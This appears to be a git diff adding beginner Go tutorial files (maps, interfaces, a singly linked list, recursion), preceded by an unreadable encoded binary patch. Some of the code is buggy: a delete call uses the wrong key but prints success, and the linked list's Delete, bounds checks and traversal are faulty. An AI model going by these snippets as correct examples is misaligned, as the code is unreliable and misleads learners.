z=;bJbpsP^yi1D{_mP^bGU7|;c+1%Eox9~voWPe?-+)t-j_t}pL@gyetd~XvkI2K;e5A}h5_kdVJZMb zvy}Q>bR@U0z`=HOr6+MpJu+~3bp^hWnQOU~A=wP0RVvyxi5gY-W*P6O`d;8I_=fl0 zdtq*|uyiv_X3Sd?#OUtHMm?$Zx}}$EA#K>pNQf$4kC4R*eO#**X<3FuCK(2u9sp4Q zTYr9ZB8tGdxVfaLAird|=m5Pw0%IzEDGiPXj9a4g_XapbK63poWBkH-8Tr2PsGb7U zRli=6l%e zb`!JcT(Hee@Oh=E!MTJ)`SVI?^;;q2;Lc z;b#V-cdJJ-=xN8?QJe{Ct{|ze8I=e~?I}fGV?FtCf|#3T4)gw+j%~lEbg36_`J`Hf zb^4HdK3GAC{Qw`r+x=p~tkETVkb|d>KFsz$XbfEsf8c7CMb&s?A^fB-<_jAeX6Q>Z zm&w=lYKwcRswW-yE7j5bQ^|zxMMbo($Zr6;t2+9eENcr774gMH4hLlIa4U`YiEotDSV9yOEB}7gq&Ph zI(}~+@g>*oqmE2gooaj5B}?gVo7;?)Sssv4&%g&ti-G*zeB{a-Ldz^aeF*6KBz|go z*VkNRz;j+?94ELE#nCq13;iK_t)VgcurgVt4)G&>^%H9Yr~Z@Aay<+y@`;n!D~5Q--Bna;D`^98y_4&>R7rJO^4CW^%?aqT`+=L z1hoYy+w>vh1#K)Vu3Y>YeNl+gn&|J`&7^P4?jy zW?dC10`50UWA=Y6%|v{z0M)TcB);`{sAs$Bc0Frw{#Bm&f0Xy$QB7@I+jtZdQ2~|S zQL54uK{|*Eh!JU0BLt~J2uKe#G%2B@fFecdML7$jIJ%t-03PYt3iQ`8;pz@jO5!Wirdi*7n?Bp=RgS2(kOo8brd` z+=bN4l$O15o6gFJ1>bL4Xe|!497wH6)~(o`{Qj+gW>X!K7%^-yKlcMCRFY+t&=LpG z?#||93~$Conw2%qJ~po2IR3aPhbg$Dy^z+AKC;GuS0JV4LOI@2@*}N+ZH?^I4Qa}G zf*JX($vrnjN3c6jZ;D)_?jBpVP-%sLTyIs6+l`K>O1F$9hq{R$rVySk)fIW@n<{&} zdtw~s`_qRJ_ugkx5rWeVCvcPb$=GGAj+KQAjAcdHz)QVufFEAx)w#SYa$ZjeA#;_@ z!CuoEdaZ_UN?=6n)XP(1ScYFHQLwH{6f0bst2*TTugMuV~f%67z+|c zzcdGUcA+b0j=mZEC0D-mHVHv?P)zOen%o^6PmWyt7yVZmsriZLt+p&)SEQbQ_)3UU zjb$V*ddC~vdML*QSR_}4=X0hqqpz6SEpiJN4iQNaA0LvaW&go^whLH-_&36XAp-3j zt2RNdCp$CCGRN!FawI}cFwOaeGAq@K7w*QBJIzzqb|zE8Wh6Xb(;QaSrJPsDW0i9b zeipN3#z%uuI4X+3ppvj+)mBHsBl8hmSSaALMEj=^*svo|sx_v%ltVa~W+hs&;`F6L zMuh(PaG!f7_K7|s61=pJp*vhzZBxAcqGlor8DN+B-YDB^5A|Zy9MMRol^XDTKF_id z-pbJqar9t}Eya>{MsLE+LHV{N=q{r~8>j!eAvwOsYBrJ;U!W>S9DLa?Mq5`=R$+Ks zra`o`<$8BEOSZ{5vO9p}DEB1NV`u#27~tO&?g1Fc6V;laL2*U`KxKFSTDk7`RRb=2 znIBeha~_{OTRGsQKA;BfNZPcSNDuA3Ww|X@Fw$Z#G6B} zhn|Pp&svqX4z;8;oqcszr@G&z-Dx}H0Afg0+eN-V^M1pL>G6gUsoLjDq5cW2Nplz~ zgY_!Wgz&&`1K;kgy1%QmLfsU|6WaC3X^`ZU;Lrg`0qV$_kTb0EnsJkvL+H?XI~$;w zeWYL6lB%mr>5(J$~{GG(b zY9Y0JM|=GE)AAi*f1A320i)HbeeBU)0eEac@ihgG+q_mYEGNT|sYNgBWOpH6eD}$I z)duktd;s1SsZrU9*ZD!b6?sX4OC0;E`-HwK1y#*~fdIaTQo77f@ zWwuezYxwJ|J}<5~963ucF6tbI6K}0+)?DkSS@y6agOT`LgLO96p+e%c<1MQcOz@5A zTc4utzHYl?-}h<++SC`C2cM@fHNXnN1s0{ady>*1tL?!9$)-9HqGKwOi-FQ?{Ct%T znMWl6CRJE7pyDX)3U!GmR5iix$z6^J z2a31oHFj!Gq$Q5N!JDzt>!HEAlmj}WH=IQvO5EP@n)c6(psSTEzP_m46Lhr^a`DWY zm3$@T0DD4kkFx}Pk<#?N#|$-tnAgWe$@beu2d-HNwK-t>Uy;%&6wtC#&k6V#B4;$L z6;*G$QrR#A=;HjI*{70a9bYBemSXBEn|S){IBu85hAoW~{mL*nrgDAynwZ+9F$4uc z&<-iqvlV+QSo@{lfL}w1L<5PV8C7G=Yww+t!Hn4D*u~f}71q%El^rJTF&+u#EMpTl ziuN(B9%$TosF5Bbv_4)+YV2XFu+-#%I3G%1+b>Sw*$l;`#N4+@>#|~k8dm0I^8Eq% zS(YIux36VoQZXTv@VDPTI)1nr`1av4!@^u0G_}Nfwcv=LrMCB@q7LE)*|8!9)e&TI zF7MOz32b`@9uT{t>9zCwj6)2xqb`g}-rBMbKUpl%kGb=#r$ECs!mznoCRPUu!>_wv`~sefjy2F-m)8%ob(I-I0OzLDnte-URn+JBE;_7D9mrmk~r|x zxGJC#^k&J1{K0og)}sAB<#}QD)oC+)nCO}Jl!aRSlm{X|`7rZ;-PF zWq8giQaIXS2{DAY`V{^uA{w*g#rg#?ueMjiF4$UY%^le&9)}g?p7Sf7Q(&=mY}&m` zC4 zlpW!BdZ=TslH6{W;P7u>QMx_)V0@hjC#F`ba1Rn<&ZumMoM4+*W_UwQ>Tnk#Dwozq z3Q}Iz(LW83n*fIuEY(YpNr0k6_^D?4LN{tSX9|O>~Ic;8y)a_C-{wmdps86*A17&XPwmS+?Gk{TOxzvH05BnDHv6muE_ z{i>QT1LOnI_301Pz%29eoO7?RcUPIXC->>dFQ#O*mi4!5+E;f)$|PP*^nwiw1F1O_ zYf^3DCQO;3IY>Kwt3mx1o&v!e=I?0DLY6eI+A@=wn#w23X{LTw$wNZOAE1d<$mnT; z`AF6xT;wNvz*s=}@taH@=Cvr5T?c!+wDfIMfVZYK+ds-x34=Gr7rsS^Nwk zl3>3P#O7+{fSB0eCR$aNYupj$e7Q59aW+_o)RtAbqA;(HM|nn`lpz1v$iGRBJ!y+m zdk~lP=t;3e=k?uP&~fDV^vS^3zOd{J3!#<>krxOC_E?X;jpHl>BLu+58medc+SSJ_ z>>i29$#90N3D>c9--Xn=6r6Aa07AzBadn&btGm%bkQ>o?DVmp~Q!@Fxy#)X<*c$RQ z{mGxNj8wU>Y+6_1l|XRbFurA!Eyaz@o7S^b`2cO14$*rJvZvw;`@!>XLw#6Li6nhn~juuP?+ihxp_>gLjwYPN(%h#k5CXY(05>` zY{HOjnV|>71Ys`+_TShQs-kP-(gZ>UJHi{=FAm*Qa;P-9=pJ>~I;N%)nZE&ccSJ&7 z?VGgp{f&PY zBv3W~1!9jvVik$b6o35uUr`0^eBl=?e|g9js8hJAubMWz?3J9}6ZBlL3Lzw028SXUQ# zvFm0XX0}>NiM(T-cK_XFFhDxEEDHLdxnX?zAZfI9!ZGEUZg{FmK?Z~K)w_zI2dI&L z;JAlJt<6oVl~`r^je$F^e===;D$=ueJ(05M{aDVbyZHz@dt6Vi{zyDtL_ocX;W#Oz z{(K7LN=9d?uH_uS)56r|C%WgDW4NmH@_lDQ=eRlw63pD+|3Y~-(X~Kw4l%4B9Se!& zGG@p)UUVlr#wx5*rM@~uj|@< z-)*(m6#prf`A@$)51YmlQixUJd-+fb{A*9ei+TLkCl((>PnE02vwKZpNtoSUj&l>s z-{+FP0Q$Z-42m-H>!{qw-Te&^6nhp66cW@ ztXVRtb~Db(Ma_kDWZpV_|J7P*Z=xW{QfwXa5PM&MPcI!D-fREUOq*$6I6#VpDQO#} zvn%Jc=z=1EPXC)ljUUjl2i0Z3YNvMVQ0?a5q59ZGvqHP$ii@CG}NPgAsgn;gSO z?|11fRVPRc2)^?%4ii6Ddb-RgF|*IcyF(UGBSgH1qcONtTT)aqXi+j?SrOk6zV&cI zKi2;{Yv9%|&~s&xa&fgi6=KG2^>_iszkJ2>SkdcBrl;JFMVfOK%$13{Da#0Nu&w)9 z#c%hyqNu>dm5Cx_<`|M2WSD0?JMr&o1alFb>Nux_7eS`WYni=QWMS%6V8|OCj%LoA z!dwB#%SH77AO7Gf(FKqMIPaDIUM+}|4@~Bd2S;i^sjM%yK4n_vJ(a%j=EM0{ z?gf`5_r>HRzw9i%pI%SCX9@c?N~*<|d8`*HuZgzLRFgb+D}N zYqlM28E(iHxP0SCnY+LkOM<~#_9Nk{})I}(2Muf&QoPa7v&5wq*o~k)xhy2o(ef< zL#|v7TbkxPd)>!doaozO43g9O_wffT@cPb$83@IuPfm)KNf}g)D zme&<01V`ODHqs0D%Gm2_w%>Yhs#*{>&lZ|Zc!(>jq|HAWgSj(X#kJ$IKE`~UdsQ** zQ~9`^Yk#iB0o79gn?9)m?<$3i+pR;0mgrR^tqh}3-mLr$>$0&S_oJYVR5YDVQS%{| z;@WFwJBzDnQEHv`;}Sgu)k}xW?TRM@y%~P zA^Cy_*a=8Y(|~n%eCsE#xsb83 zMPVLrM?~Qy;fXOxJ0l5)=|F59B|hI%St!71 zpD9sCeoUBtjI%z-*0I{<{y3}SF_u>G*{j^HlR?74{$MwJauP^<`2~ufFO1Sqq)s&IE0r(~OsFrH-jH3){Qd8=KDFb+&^7Fr%kb z_xgQbpK&f7&}o%^-G=ZGO+)!nPv2HD+D~&S%xhC3FuP4j z_^4p{C6lsJ)FicwxMxwW-wQHcUR2v(jrC`&4tHj7AnNm9m=N^8=^#fg5D zmqcU5|6+8{QPBSWHO)DSf9doq()?Fl5>U9b3N67lP4dpAG@pq#Nqu|YEF95(^~Lq) zzP?R~)TIU6)qT%(hZ8Uxqceu4O>tHigB(rbf3zR&BF!hpCJk)D(|NWXmL|SyUQ=xj z@VTFG?0RSst2H;3n9uUuh_SI`*@0a!LN~d_G;v35q^|d-=cxJh))G~Jfi9*H?l#qp zixAdw>WJZeeQ!4H976+aN!5#W*B1IEWWEu8jF*}ii{U~;P863_ zV(@Hl3v=X^m>2TYhM0F80~PsgJ9-7OF6B5^ga208}9}mUZ5-y9aAk_Df(L zFItr|jRHVNx*>?S!ELrM0^5j7TBUtU)3Zann5GGgRF+^($L zjg^uifZun|v$B4(#|AdGru=0cH#+?#W*HJ)*2Fi-#jPg8_A=3Npwubp*(6$?462fA z5Q-2ad>R4AQZR46kJEG@vpJJhw0}`+WMr0)@gRs3x-E4w3gW%bZWJvax?fDoQRFIf zp%+*G%F#h1Q15Mcmb;ZV8v^GZFe$w;rRHT3FK3_}cOj%5V1nScFZqTCD+M;`pi5$U zGU%_VI&j#OEJ$=P2TGrw!5qOu`;%ji9Uc}>s@Q)%s%?wYQE!fQkbJ1joYQw*!#WN- z2#wu8UXdJ5a0S;T5HQ_);4_iEXCD6$mvWk?p~C z)6ZvgwFc2^ zf1~rWOQ4Rt2dO3dnf3U1SF|(?AP0dZc<6SfKvPnVSt|Mqd*%$hQ1hEFNCYnOOf?N% zwWOJR{H%7sTyGoBQ|iK~ogk7PsgaCcbx&GwA@bMwdEjTND*NfC_$wjS$L|z6OphG> zI|@vj2e?xL_LGDl?ZS2@3Hp%skI!yB_Mv|}W417tntaRAUT10&*ame7D(|dRGvH?) zP~y4venr|T=YQS@e@_QshatCG04lb40w0i)^LJ`FfI{vR*f?B-Pxmpi%45@~MaXF& zgnT&=1^T>cclHyrJpiB-zh8R?NUzGk)+lDI7TydI7D_D_;pF& zoTmXB#?3hwVQg1ZR#&Vy@RAB0W?L{RwR`c6J3nS^1ju=~qHBHzB{J-$pfN`#0C^pl zNaF>>j;raIBZF`x=l89LW)*!Mk%PbbkEHFg&*EN0 zmnD}+(s#%nRQ0jgKBP3UB5_@9*wlu@ce$(i6X}1qogC1`$xz~%FkaUypKujNmo&Et zQ7nOYtT^qM$DD0_3FHp7*LEY13hv+_gt>ZXpWA`8Qq56q=#{#psKeCCm7@BnxxU+< zwog33vP96l-_%U75*x})sIt8ISDi3@)o)9X%zL$3-ofG;*Hip5;$5<-vw^ zxGY=!R;k(a@1y_wc&qn645|A^V>SM9@88G+fB)5gGAo$)&fERNs(%>E-w5aa*FE8o zJpfu#i*1Dl5^oJVLBi`e1`1+tmVWSM9Wocul5ad_p>8vcNNaZ%e6X#I0Tfiq;(k+5 zaa0hYMf_yBrm(;Ss?8WbD{RKKEVS5Hxtw+Pp`keqatCYbYv&uDST@n$z1}LA7J}Wo z%HOpg?A<>X5V_IiR;A1Kxa`LnqR-TDU6~crDM$dDM;=>}lm^Rv6f|nRP|<)s^I9cZ zb}toaE5w!obVL8L6}`FUpe+<1EZC8=h?kP-S~rVDJ$->*p1V9ewP@&&2P5b zoWajW=*9ws9lsZB97D?4BhuI6?$c~OSbtDV^-=G5Z|NYXzU{(P-eTT^ zVF@nk_idmNMBrn_C{Bik2G6(hOefv^E7igIvs|03d9*4kq)i?RMjBG;7 zK}BRSQp;130dlmpJNa#a@SBxbFQf#`cKUF+-$B$llUkpa9J|sEcIiA z+ok}i@<$`YDi6$(XVEN%(ppY%WK%Sp=jY@ay=pO^F9|Pc;(H$uC`K*A8iA=7_oj%L zQaKRh)KCd|zUqpb`1sRV_p$@k>b9;NgW4RwaInjLgl506b9RDG;K;*jF7^D{r(9;V zldTH-OSM|f$ya`qf>TJ>jW~7|v-}RgNpQ}(0pjpdgY0*X($g#Kf(rAt_WlNTUCSq! zbs~eRL#5y*Q19GlN8Os+9hN(h!wEXOjo#l5qi=cp21x^Lt%D)lzKhyBX{YWzpRRmB zzy%PuZEN|#>N}a)-h7CX=4lHcahL-8E}ag0I@Bil;LY72`FqEDxStj!%SUcCK)l*= zIU{rt8{a#P(ls)eUhw?tr!b%KCurM?WKNz=_8U;@u+Mz@@#{|WiEWZ2k_Ppa`@9a| z2=-;@z&Lv)%6ppEsczMSSJ2Q||x zo$2l@SN%6&NkcW#xhpt<@)PsLFq?7hE%?-3wJ%(hZ%Q5}n7lEVoDLGx6XPc*)r~T1 zyQ%IHlWt~N(Z_Z$Jw@!FlEf54^qnus)Wy)EADXi^+5b3drby^W>t*OIm3!(lisbV6ZQ#D0KF!Yn5!@XyGPrQN>u{ z;;ZKVx&e_aQWC#Qw~8O!>HqIzzfN4_9P=4zyG_Q^uyqiagB%o z5@zq7`m7MgCjDE462jttTTk&3YUtYDA7vGWsG;>1`<%Pq5OZ@c_N$k`vkkVHD&NI>w@8plh#YAcV=)jW#D z6r?OjoB}nIKtNvBS{{|ax)eK`q|{{CFDeLmKA2kiaZQSP(x?@e1D$+ElcTfQ-s;9F zQNXNmFpxZ7m)e z@f!eb@5Q9EWg#HU5dI5v&#Am?2f#)9f(fp(%(f`l}zSDfMs`6R8UFKoYkqF?evQ^cG@?`yHM0hd~-=adB6|xja9M?RhA-)uf zDPb@({Jg8ce)odcsa7gbE0lB%vicyQzp8AohTAPuF^9XRowxeq)@78^B8d-!kDNd4 z>>oNAS@a6oM~>X~*Xpcvb4S)&d0#EC^tQ$9Xb}c(re>bfwh?yXiFnc9XGig+H#v2G zX)vF^zTmH?(|M*lc7K1i^3MYK}t+uEJ&ey?^v&W#~4Mr9$v^6y5=qhorB zb&Y<4>$q`mv6Jn>lVt|QUI=FzRZvc7{#998H`VNnr7 zb;RJSa`l{?7Y~WY6ofs)>pP9z;E?U_ZSq`+R9Q550@EIg(#eNJ-`z4dUJ^Vkf-&({ z~}`m_`3o%$69i z6w6sy`Aoj}JS8=ruXRQ4ps0>Fvysz%#Ma0^UJqU$`UL{Sh)FTWz?vO;K7E{noH>CK zq8kRb03ddgjKig1n|NITfWgpIr^mlQKl_2r^$W1X$AZp)nBK;llLPt1c;Y!>;uHBl zUOt$t6dNi{Z#q=eAvTF@n7iANg^3S94I&bzDYMV;gF{o$?)uoC>~(ZKetj_iX!CK8c{qF(MP zze&!5;(vi|v9Iyi5r!~3Uc$tuGppc|3#2jhKIE&0(}Y|8L=S8BBY+H~DDBVPI#@$? z2@}pk3BkzhPnbPTAo#kEIpz$owB)oG^!0r|7E|5#N6RVy>0ZB^@fwg?av!+_xW4|Y z$X#VJMc0&nWqf69&fk=1$&tG^iK)Qxrw8ab*#L0Ri=aep|JhD|yhowdZ;H3Tcr83W zd(!g@ln_s(0-o2w!b&^!KQgrxf6bq4`KO!6)v6tv1LX%m+oGussKtraP`n&qWv;hQ zxPa`Yd`+Q^`YLioY}7xyXn2Gvc4!RFljt(-#S7|^ zIIM=vo;&{#a`s#)092nn1`e%ML>|iW4q`2ZBvLI#{6`BX2_LjoChC&xOATR4bxWVh;~@zuCBtPWlyOEJBZa|rzt z^{O>|55h60Ew9rVsohcdaV53kZQ&P;rTj7Nf&2;ZZWyJj^D2mM1Vok(`pCw>@QjJ{ zyPZVSiy=@!AL&R1ZF)-wu7Yn~a3j@IC1iVHCK9_$Y#&}m?$mffe}Uw2$Qe=OtlktK zKBxfEIKU6rT;vJl-J=nB_R;40Pj{yN9x+pihAhW^Pu{$V$k9Q4KUulXInfbQKV=V^ z=s59^(5HGiO+s&3c594Ln{r&MfP`doGDkoAiwF;zf$@z8ao#NFHW#j61P9jkE-`jk zEEq@GqmJ8Dadi1<29sl}CrOLp=(&x`z_HnR6)frNdXBpdoMc18Slo65C+vcSg9IQ#20DlfoYupe9)?q?6%TU% zC|!3uU>4MU82mY&^2+o0CpX4-F*jRvIWx??2NT{6Pls=&#s+XT#_OddE z=0F(^4Ysd0Apoq8Z`)7K9mXAj@VvH#d={9b~-Q7sdW=6rg@$4VtxfA(;n zfV_fCAT7juiv#t62sG^)JELfiuqu#)<|AKh9o8~aD+Yut&8_a^WpkrkRDNR+;u}x%@=y2gwTcn23`)oYhvKBtvKErzK z>J;nl7k%!MoyD9XnXjdA8*+#wm)RCT0;;8tCpn~eM(mw7h_M=cM4T$|n``)*fM~cm z=Op-X@*yw2WK(ef;Pwh4+}#*2CYAxvsT(aIe8=9vx4l0pbO^AyF*&GZsO3-bj=G}J zsd7WF_rf=pztq>Ws_G4RU(!RQ?ltbNBy+m$dpRt@?%O+>F807g-@M9G;=1We!V$Qw zx&n-&fr$I7T?76RC(LE5xMXJBkh^QJ;DO+sUjFN@?k7si6N8&}93_G3wT=X@yR|T6 z3zVdk6+A~XrWRBPko^hl15?Eq%$qc?z+&e1xLc6F9V+duUY7|JOclm#s3=CO zVWrUU^9;3oa1F2d#Vl8ti4^G(#7}6DSAD0ugqg8#t;xa2*2*| zl}k-3Y=v28C^MVn2X;1o7aiLSgy=jH7ilz}EBq6i#a}U8{OvmfIksP*sGf4*%)|** z_U@J^b)pJ~Uam1T&*ei832sM!LrV;~#dVtkDdABw=4w!rb8Mtz;snk*@f7f>dBN91 zaLCP5?GK-4<874|Y-g|!_|K-Y(g=~rAYe1M2Xc1`fmio_MRF`~q-#TYsqGa$?~fT9 zS1k#!mU?+FZ-6OUs$Pw% zxn@>3mGZP0pHDu93LbA6U>LHc+Tvurf;Sd904V7>ghYQ*u9Q}QZtay!}mOCb)p4xxbvvkryu z^v!yi9qY{8d$~sE278fbm#}F6%p9!+-Q(kwn=Fy>A9K;-Btx5v#C&sD>7kxp!;xA>c;5!^5O~6x-Df257rq>#l$Riq=LzB z@W<#oGK){n%lNNJD=Cb8Y`jx$z{Ux#T;JG<9x(q4Qo(O>thzX9fml zAI5_C;1-^=j&X=w86jzV(Nyf2|Eb}r6BcJ6d_Q6b85rLpj*VNg2xzbr?A$PHL4h94 zPh}3ua0z*e0JjqY~g7Ymhazr)=_b|tSP|^2Ac1LKc20Tr_V1vJ!KpW z=cVn#)E-;mH&n6_;3hgLisYQLl5A1&Ky4qda0mTMWb*PX(SXz;?`#(pCB(YO`e-1u z=*~E&0pG-`Z{TqSBWFU-h*&7NkOc3chJs_`VkS!aH#y(9Xx7XFuW$;c)*>tC86=ez zPPJ-x01}rVn+~T07=w+M$-d@<@q3gf*6}2d!)%kmnw7vA`3~N0@3a@SJR28#mLnHw zmpAbX1Z%T8%usgy*WZETW-3qlE40zu*D!%nS%2TjZ{xY%5>#?r;J zg?CDq)&aKl#Qw`aKUOpp6dXaP&;{{uJGl3ARw|tB>;kq8+&xz0VHmhB8ar^fPa-Wz?cy~>O{54+#z!B`eS zRn)bh#@*6v-&%}xb-YV@MxNO)<7EL`UspowaTkr*sy27rP^{is{OH?f!v?DXO3V_% z+z$%JzNLw*MSA@Aau=C@clp`(Hee>ax12*P;wZCZ`+}Vg(JAc_+LeQ>GgVKF?lEYU z+uoJ3ETmDUMp^5If2)=UAga&%6M3f*?Wu=N-}po`+PON%hjAETAG~pWq2BBvtzZIRk=>$ z@>bJ}^y8!#CsuF)%uM1z+NIIQefcMt-;~@oBpd(4b@@9F=A|w9`6=j;+HS4^FTtaO zc(k8a&W_s_KFvDT7NjQ10u(MDC%WzP@(aj-U!V(WKhAXT0PZp~P<~PP6WOU0PNM;R z<^2*N3r9E-Webq&<;3<<4QTifUJV`Bil)(c)%vIX&XBHX269IIqSAUb_+wW^Y2G^`8`~Xq1 za0=w5bsZuzPANWjQXgsc*!*q$#lh}f!ax=WT|<34Yq)EI+9uVUo(#k>XAP_C-W%yO z7_u*E$7uX!;pzj*OXpne+pPJ%u47W>nBix7IavhF{=UF{xUk+%(J=et1bxxfI6~uj z>FwP`^&mvw+n2bpZ&YDr@h5FzpLKR{wf!}!B5GnETmvPIo#5>qLQRQgJGu#cXW9#!vvj}!K^HAMiLbB3|g*L-rv@`=^69Vu}?0GH^LvRh%ZP` z4iJ?UK4k&tthoDIGkJeKjL8n`{no_=d9mXX-2}+}b|_v^tNR6#o?yeouRyWhLaWrP zbv&wnmgUWb{y~;^$y0bf1+PTloy(`*fW9G41Tp|lxwu{QVjW>~%+)drID}Vfs(RKv zuC7ALe_96wql0{%3u*9F%{g|o>0`2I1CUPn(#4`m{afnuSEJf5U*{ubf2`&C`m-Tk zWxntnKJZ9wFoqwjT!iZEBtm>eHP{oSJ8nc*T9V+as5cd93f*95Z?FqvtoiKgU4-a* zWaE|yVqA0B;zw%y)B z#%T5?y&}9Gb_jMCf7R^ajXOW%bk57`O=?mV(h%8mwonduorduX(XA^+;>4DnLe#!p zk=yim-uYvq?KEdseD`Vfi;exYd)tPMp5A`))I6niEM^szgYv}(imHn7n|#-44S2{u z>d}x%+N~?n0F%D)Z=_fNgV&qI13N~9oz{qrEpyXJ;>g{Q=eS9j9oJq7Rct`A5w#WL z>C&^hI1Mci!vSHDK^71=x3jqmv_qg9_8Oqy#lbY&3?bEw-8@P&iQR>0oPe>JoJ z>O1E#_7*{8liY>j8vcw)uOPKy%NtW2bWe)24eN}yI^Eh?-JRNHrsAE-3_+&1NjNGR88_%sw>g#IPRmRj~V%Br53fuRky{sXRGRZRo3OUk@BS-R)jnEwA z52Yi(r5DHdD*G08zF2MdIr-j4shP8##kQ0*IOofXvC76IO_$@qmoqalax9T7G%s7idQk`4MS1 z47Agl9e*q3H|Xx)J)eF20J*{xM7)&s8(etUjRAzr>GG ztf3*YDIwcV$2H@S@jR=yx}G9H{pO{1Sqg>!?rAFO)%)5rAiVfny8(!GZS&yYv|BAM zi*S}gBop4F|DQGI{~5de-)`tFRud&sMsAKBCF|Cd!g2j4?W?yXovs+ literal 0 HcmV?d00001 diff --git a/golang_learn/data_type/07.集合Map.go b/golang_learn/data_type/07.集合Map.go new file mode 100644 index 0000000..8927c82 --- /dev/null +++ b/golang_learn/data_type/07.集合Map.go @@ -0,0 +1,34 @@ +package main + +import "fmt" + +func main() { + fmt.Println("\n ================== 集合初始化 = 开始 ================== ") + var countryCapitalMap map[string]string /*创建集合 */ + countryCapitalMap = make(map[string]string) + + /* map插入key - value对,各个国家对应的首都 */ + countryCapitalMap["France"] = "巴黎" + countryCapitalMap["Italy"] = "罗马" + countryCapitalMap["Japan"] = "东京" + countryCapitalMap["India "] = "新德里" + + /*使用键输出地图值 */ + for country := range countryCapitalMap { + fmt.Println(country, "首都是", countryCapitalMap[country]) + } + + /*查看元素在集合中是否存在 */ + capital, ok := countryCapitalMap["American"] /*如果确定是真实的,则存在,否则不存在 */ + if ok { + fmt.Println("American 的首都是", capital) + } else { + fmt.Println("American 的首都不存在") + } + + fmt.Println("\n ================== 集合函数 = 开始 ================== ") + + /*删除元素*/ + delete(countryCapitalMap, "Frances") + fmt.Println("法国条目被删除") +} diff --git a/golang_learn/data_type/08.接口interface.go b/golang_learn/data_type/08.接口interface.go new file mode 100644 index 0000000..e76b4d5 --- /dev/null +++ b/golang_learn/data_type/08.接口interface.go @@ -0,0 +1,49 @@ +package main + +import "fmt" + +/** +定义接口 +*/ +type TypeCalculator interface { + //实现方法 + TypeCal() string +} + +/** +定义结构体 +*/ +type Worker struct { + Type int + Name string +} + +type Student struct { + Name string +} + +/** +指定某结构体 实现TypeCalculator接口的方法 +*/ +func (w Worker) TypeCal() string { + if w.Type == 0 { + return w.Name + "是这个12345!" + } else { + return w.Name + "I'm here!" + } +} + +func (s Student) TypeCal() string { + return s.Name + "你好!" +} + +func main() { + fmt.Println("关于接口的测试") + + worker := Worker{Type: 0, Name: "zhangxw"} + student := Student{Name: "duxf"} + workers := []TypeCalculator{worker, student} + for _, value := range workers { + fmt.Println(value.TypeCal()) + } +} diff --git a/golang_learn/data_type/10.链表-单链表.go b/golang_learn/data_type/10.链表-单链表.go new file mode 100644 index 0000000..12633d7 --- /dev/null +++ b/golang_learn/data_type/10.链表-单链表.go @@ -0,0 +1,158 @@ +package main + +//链表实现 +import ( + "fmt" + "os" +) + +//定义错误常量 +const ( + ERROR = -1000000001 +) + +//定义元素类型 +type Element int64 + +//定义节点 +type LinkNode struct { + Data Element //数据域 + Nest *LinkNode //指针域,指向下一个节点 +} + +//函数接口 +type LinkNoder interface { + Add(head *LinkNode, new *LinkNode) //后面添加 + Delete(head *LinkNode, index int) //删除指定index位置元素 + Insert(head *LinkNode, index int, data Element) //在指定index位置插入元素 + GetLength(head *LinkNode) int //获取长度 + Search(head *LinkNode, data Element) //查询元素的位置 + GetData(head *LinkNode, index int) Element //获取指定index位置的元素 +} + +//添加 头结点,数据 +func Add(head *LinkNode, data Element) { + point := head //临时指针 + for point.Nest != nil { + point = point.Nest //移位 + } + var node LinkNode //新节点 + point.Nest = &node //赋值 + node.Data = data + + head.Data = Element(GetLength(head)) //打印全部的数据 + + if GetLength(head) > 1 { + Traverse(head) + } + +} + +//删除 头结点 index 位置 +func Delete(head *LinkNode, index int) Element { + //判断index合法性 + if index < 0 || index > GetLength(head) { + fmt.Println("please check index") + return ERROR + } else { + point := head + for i := 0; i < index-1; i++ { + point = point.Nest //移位 + } + point.Nest = point.Nest.Nest //赋值 + data := point.Nest.Data + return data + } +} + +//插入 头结点 index位置 data元素 +func Insert(head *LinkNode, index int, data Element) { + //检验index合法性 + if index < 0 || index > GetLength(head) { + fmt.Println("please check index") + } else { + point := head + for i := 0; i < index-1; i++ { + point = point.Nest //移位 + } + var node LinkNode //新节点,赋值 + node.Data = data + node.Nest = point.Nest + point.Nest = &node + } +} + +//获取长度 头结点 +func GetLength(head *LinkNode) int { + point := head + var length int + for point.Nest != nil { + length++ + point = point.Nest + } + return length +} + +//搜索 头结点 data元素 +func Search(head *LinkNode, data Element) { + point := head + index := 0 + for point.Nest != nil { + if point.Data == data { + fmt.Println(data, "exist at", index, "th") + break + } else { + index++ + point = point.Nest + if index > GetLength(head)-1 { + fmt.Println(data, "not exist at") + break + } + continue + } + } +} + +//获取data 头结点 index位置 +func GetData(head *LinkNode, index int) Element { + point := head + if index < 0 || index > GetLength(head) { + fmt.Println("please check index") + return ERROR + } else { + for i := 0; i < index; i++ { + point = point.Nest + } + return point.Data + } +} + +//遍历 头结点 +func Traverse(head *LinkNode) { + point := head.Nest + for point.Nest != nil { + fmt.Println(point.Data) + point = point.Nest + } + fmt.Println("Traverse OK!") +} + +//主函数测试 +func main() { + var head LinkNode = LinkNode{Data: 0, Nest: nil} + head.Data = 0 + var nodeArray []Element + for i := 0; i < 10; i++ { + nodeArray = append(nodeArray, Element(i+1+i*100)) + Add(&head, nodeArray[i]) + + } + + Delete(&head, 3) + Search(&head, 2032) + Insert(&head, 23, 10010) + Traverse(&head) + fmt.Println("data is", GetData(&head, 6)) + fmt.Println("length:", GetLength(&head)) + os.Exit(0) +} diff --git a/golang_learn/data_type/12.递归函数.go b/golang_learn/data_type/12.递归函数.go new file mode 100644 index 0000000..a2f7935 --- /dev/null +++ b/golang_learn/data_type/12.递归函数.go @@ -0,0 +1,34 @@ +package main + +/** +递归,就是在运行的过程中调用自己。 + +Go 语言支持递归。但我们在使用递归时,开发者需要设置退出条件,否则递归将陷入无限循环中。 + +递归函数对于解决数学上的问题是非常有用的,就像计算阶乘,生成斐波那契数列等。 +*/ + +import "fmt" + +func Factorial(n uint64) uint64 { + if n > 0 { + return n * Factorial(n-1) + } + return 1 +} + +func fibonacci(n int) int { + if n < 2 { + return n + } + return fibonacci(n-2) + fibonacci(n-1) +} + +func main() { + i := 15 + fmt.Printf("%d 的阶乘是 %d\n", i, Factorial(uint64(i))) + + for i = 0; i < 10; i++ { + fmt.Printf("%d\t", fibonacci(i)) + } +}